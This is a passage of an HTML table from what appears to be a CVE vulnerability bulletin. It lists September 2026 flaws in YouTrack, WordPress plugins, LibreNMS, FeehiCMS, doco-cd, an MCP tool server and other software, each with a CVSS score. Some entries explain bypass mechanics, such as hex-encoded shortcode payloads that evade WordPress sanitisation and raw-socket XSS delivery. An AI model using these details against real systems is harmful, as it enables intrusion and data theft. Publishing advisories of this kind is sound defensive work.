&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90520&quot; target=&quot;_blank&quot;&gt;CVE-2026-90520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in jaychouchannel Tourism-Management-System up to 8122bf020d91199eddfff3ee02d1632a70a9a132. This issue affects some unknown processing of the file MenpiaodingdanController.java of the component CRUD. The manipulation of the argument ID results in authorization bypass. It is possible to launch the attack remotely. The exploit has been made public and could be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The patch is identified as d44ec3aa0bd2a72c8800e3befb0a9a96a6491b86. It is best practice to apply a patch to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90521&quot; target=&quot;_blank&quot;&gt;CVE-2026-90521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in jaychouchannel Tourism-Management-System up to 8122bf020d91199eddfff3ee02d1632a70a9a132. Affected by this vulnerability is the function getOption of the file travel/src/main/java/com/controller/CommonController.java. The manipulation of the argument tableName/columnName leads to information disclosure. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The identifier of the patch is d44ec3aa0bd2a72c8800e3befb0a9a96a6491b86. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86284&quot; target=&quot;_blank&quot;&gt;CVE-2026-86284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaygajera17--E-commerce-project-springBoot&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in jaygajera17 E-commerce-project-springBoot up to 5e74a46b4b70623d0e4a0c9c4aee3bd1777185d2. The impacted element is the function UserController.updateUser of the file UserController.java. Performing a manipulation of the argument userid results in authorization bypass. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90598&quot; target=&quot;_blank&quot;&gt;CVE-2026-90598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--GoLand&lt;/td&gt;
&lt;td&gt;In JetBrains GoLand before 2026.2.2.1 missing authentication on the GoLand profiler&#039;s injected pprof server exposed profiling data&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86506&quot; target=&quot;_blank&quot;&gt;CVE-2026-86506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 iDOR via the watchRules and issueListConfig endpoints exposed private saved searches&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86488&quot; target=&quot;_blank&quot;&gt;CVE-2026-86488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 an IDOR in the user profile API disclosed private issues and starred folders across organizations&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86489&quot; target=&quot;_blank&quot;&gt;CVE-2026-86489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed overwriting of bundled apps via the app import endpoint&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86490&quot; target=&quot;_blank&quot;&gt;CVE-2026-86490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed read-only users to create and modify whiteboard cards&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86493&quot; target=&quot;_blank&quot;&gt;CVE-2026-86493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18687 missing permission checks allowed creating knowledge base articles in inaccessible projects&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86495&quot; target=&quot;_blank&quot;&gt;CVE-2026-86495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18769 changing a mailbox host without re-authentication allowed a project administrator to exfiltrate stored mailbox credentials&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86497&quot; target=&quot;_blank&quot;&gt;CVE-2026-86497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 stored XSS via a custom field on Agile board cards was possible&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86483&quot; target=&quot;_blank&quot;&gt;CVE-2026-86483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.1.14047 a missing escalation check let a user with project update permissions grant themselves Project Admin&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86500&quot; target=&quot;_blank&quot;&gt;CVE-2026-86500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 signed URL reuse allowed disclosure of restricted project icons&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86481&quot; target=&quot;_blank&quot;&gt;CVE-2026-86481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 angularJS template injection in assignee names led to stored XSS&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86484&quot; target=&quot;_blank&quot;&gt;CVE-2026-86484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18769 missing access control on Helpdesk authorized reporters exposed reporter email addresses&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86496&quot; target=&quot;_blank&quot;&gt;CVE-2026-86496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.1.14047 predefined search fields leaked all group names to any user, regardless of visibility permission&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86499&quot; target=&quot;_blank&quot;&gt;CVE-2026-86499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joedolson--My Calendar Accessible Event Manager&lt;/td&gt;
&lt;td&gt;The My Calendar - Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;fallback&#039; Shortcode Attribute in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The bypass relies on hex-encoded shortcode attribute payloads (e.g. \x3cscript\x3e), which wp_kses_post cannot strip on save because they appear as literal backslash sequences rather than real HTML tags; WordPress core&#039;s shortcode_parse_atts() then calls stripcslashes() at render time, decoding the escapes into real angle brackets before they reach the unescaped sink.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77186&quot; target=&quot;_blank&quot;&gt;CVE-2026-77186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joedolson--My Calendar Accessible Event Manager&lt;/td&gt;
&lt;td&gt;The My Calendar - Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;before&#039; and &#039;after&#039; Shortcode Attributes in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77187&quot; target=&quot;_blank&quot;&gt;CVE-2026-77187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;John James Jacoby--bbPress&lt;/td&gt;
&lt;td&gt;Unauthenticated Sensitive Data Exposure in bbPress &amp;lt;= 2.6.14 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62137&quot; target=&quot;_blank&quot;&gt;CVE-2026-62137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jowilf--starlette-admin&lt;/td&gt;
&lt;td&gt;starlette-admin versions 0.16.1 through 0.17.1 fail to enforce the searchable_fields allowlist when configured as an empty list, allowing authenticated users to filter on non-searchable fields. Attackers can submit structured filter queries via the list API&#039;s where parameter to perform equality and comparison operations on excluded columns.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89267&quot; target=&quot;_blank&quot;&gt;CVE-2026-89267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kagisearch--smallweb&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in kagisearch smallweb up to 0ecb9c48edbf98dc7e934b54fbac43869e64b4cf. The affected element is the function index of the file app/sw.py of the component Query String Rendering. Performing a manipulation of the argument qs results in cross site scripting. The attack is possible to be carried out remotely. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The patch is named 00b68144e583f20a6b67e29cf01bc07f57979ffb. It is recommended to apply a patch to fix this issue. Exploitability requires a raw HTTP request carrying unencoded double-quote characters in the query string - Werkzeug&#039;s request.query_string returns the raw request-target, and ordinary browsers percent-encode &quot; as %22, so the payload only lands via netcat/curl-style raw sockets.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90583&quot; target=&quot;_blank&quot;&gt;CVE-2026-90583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimdre--doco-cd&lt;/td&gt;
&lt;td&gt;Doco-CD is a GitOps continuous delivery tool that automatically deploys and updates Docker Compose projects/services and Swarm stacks. Prior to version 0.90.1, a trust-boundary flaw in OCI artifact verification allowed artifact-provided deployment config to influence the policy used to verify that same artifact. When global OCI signature verification was enabled via `OCI_TRUST_POLICY` (`enabled: true`), an attacker with write access to the configured OCI tag could publish an unsigned or improperly signed artifact containing `.doco-cd.yml` with `oci.verify: false`. This could cause signature verification to be bypassed and untrusted deployment content to be applied. This primarily impacts users deploying from OCI artifacts where deployment config is read from artifact contents (for example, poll/webhook flows without trusted inline deployment overrides). The issue is fixed by enforcing a strict trust boundary and no-downgrade behavior. First, artifact-contained `.doco-cd.yml` is treated as untrusted for OCI trust-policy override decisions. Second, if global `OCI_TRUST_POLICY.enabled` is `true`, per-deployment `oci.verify: false` cannot disable verification. Some workarounds are available. Do not source deployment config from untrusted OCI artifact contents. Use trusted inline `POLL_CONFIG.deployments` and avoid relying on artifact-contained trust-policy overrides. Restrict write/push permissions for OCI repositories/tags used by doco-cd. Prefer immutable digest pinning and protected release/tag workflows. Monitor for unexpected artifact digest changes and failed/suspicious verification events.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54248&quot; target=&quot;_blank&quot;&gt;CVE-2026-54248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kingdom Communication Associated--EH3040&lt;/td&gt;
&lt;td&gt;Smart Video Intercom System developed by Kingdom Communication Associated has a Sensitive Data Exposure vulnerability. Unauthenticated remote attackers can enumerate valid user accounts by exploiting differences in system responses.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89173&quot; target=&quot;_blank&quot;&gt;CVE-2026-89173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kingdom Communication Associated--EH3040&lt;/td&gt;
&lt;td&gt;Smart Video Intercom System developed by Kingdom Communication Associated has a Client-Side Authentication vulnerability. Unauthenticated remote attackers can bypass authentication to access specific pages and obtain partial system configuration values.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89175&quot; target=&quot;_blank&quot;&gt;CVE-2026-89175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns through 0.33.0 fails to confine the path argument of the code.find MCP tool to the project root, allowing AI agent sessions to read source files anywhere on the host. Attackers can supply absolute paths or relative traversal sequences to the path argument and retrieve full file contents from outside the intended project directory.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88938&quot; target=&quot;_blank&quot;&gt;CVE-2026-88938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns through 0.33.0 fails to validate the path query parameter in the workspace browse endpoint, allowing remote attackers to enumerate arbitrary directories on the host filesystem. Attackers can traverse the directory structure to locate project directories and identify targets for further exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88940&quot; target=&quot;_blank&quot;&gt;CVE-2026-88940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kstover--Ninja Forms The Contact Form Builder That Grows With You&lt;/td&gt;
&lt;td&gt;The Ninja Forms - The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.6 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The deserialization is triggered automatically during form import when WPN_Helper::build_nf_cache() invokes $action-&amp;gt;get_settings() immediately after the crafted form is imported, requiring no further interaction beyond the import action itself.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11363&quot; target=&quot;_blank&quot;&gt;CVE-2026-11363&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ladela--Online Scheduling and Appointment Booking System Bookly&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System - Bookly plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the &#039;updateAddon&#039; function in all versions up to, and including, 27.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update any plugin with a main file of &#039;main.php&#039; to its latest version.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2520&quot; target=&quot;_blank&quot;&gt;CVE-2026-2520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;Lara Dashboard before 1.3.2 fails to authorize access to the post-builder image and video upload endpoints, allowing authenticated accounts without content permissions to upload files. Attackers can upload polyglot files with attacker-chosen extensions to the public web root and execute code if the deployment permits execution of the uploaded file type.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86436&quot; target=&quot;_blank&quot;&gt;CVE-2026-86436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lenve--vhr&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in lenve vhr 1.0-SNAPSHOT. This issue affects some unknown processing of the component MailReceiver. Performing a manipulation results in deserialization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90490&quot; target=&quot;_blank&quot;&gt;CVE-2026-90490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lenve--vhr&lt;/td&gt;
&lt;td&gt;A weakness has been identified in lenve vhr 1.0-SNAPSHOT. This vulnerability affects the function FastDFSUtils.upload of the file /hr/userface of the component Avatar Upload. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90500&quot; target=&quot;_blank&quot;&gt;CVE-2026-90500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lenve--vhr&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in lenve vhr 1.0-SNAPSHOT. This issue affects the function HrInfoController.updateHr of the file HrMapper.xml. Such manipulation of the argument Password leads to improper privilege management. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90501&quot; target=&quot;_blank&quot;&gt;CVE-2026-90501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lenve--vhr&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in lenve vhr 1.0-SNAPSHOT. This affects the function HrInfoController.updatePass of the file /hr/pass of the component Password Update Handler. The manipulation of the argument hrid results in improper authorization. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90499&quot; target=&quot;_blank&quot;&gt;CVE-2026-90499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LibreNMS--LibreNMS&lt;/td&gt;
&lt;td&gt;An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the searchPhrase parameter in the /ajax_table.php API endpoint. This affects as-selection.inc.php, edit-ports.inc.php, alertlog-stats.inc.php, alerts.inc.php, eventlog.inc.php, inventory.inc.php, ix-list.inc.php, ix-peers.inc.php, mempool-edit.inc.php, mempool.inc.php, poll-log.inc.php, processor-edit.inc.php, processor.inc.php, routing-edit.inc.php, sensors-common.inc.php, storage-edit.inc.php, storage.inc.php, and toner.inc.php (in includes/html/table). NOTE: some sources refer to this as CVE-2020-15876, but CVE-2020-15875 is the only correct CVE ID.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2020-15875&quot; target=&quot;_blank&quot;&gt;CVE-2020-15875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;light0011--cms&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This issue affects some unknown processing of the file App/Common/Conf/config.php of the component Debug Mode. The manipulation of the argument DB_DEBUG results in information disclosure. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86308&quot; target=&quot;_blank&quot;&gt;CVE-2026-86308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;light0011--cms&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86307&quot; target=&quot;_blank&quot;&gt;CVE-2026-86307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;liufee--FeehiCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in liufee FeehiCMS up to 2.1.1. The impacted element is the function UeditorAction::init of the file backend/widgets/ueditor/UeditorAction.php of the component UEditor Widget. The manipulation leads to unrestricted upload. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86239&quot; target=&quot;_blank&quot;&gt;CVE-2026-86239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;liufee--FeehiCMS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in liufee FeehiCMS up to 2.1.1. This affects the function catchImage of the file backend/widgets/ueditor/Uploader.php of the component UEditor. The manipulation of the argument source[] results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86240&quot; target=&quot;_blank&quot;&gt;CVE-2026-86240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;liufee--FeehiCMS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in liufee FeehiCMS up to 2.1.1. This impacts an unknown function of the file environments/prod/backend/config/main-local.php of the component Cookie Validation. This manipulation of the argument cookieValidationKey causes use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86241&quot; target=&quot;_blank&quot;&gt;CVE-2026-86241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
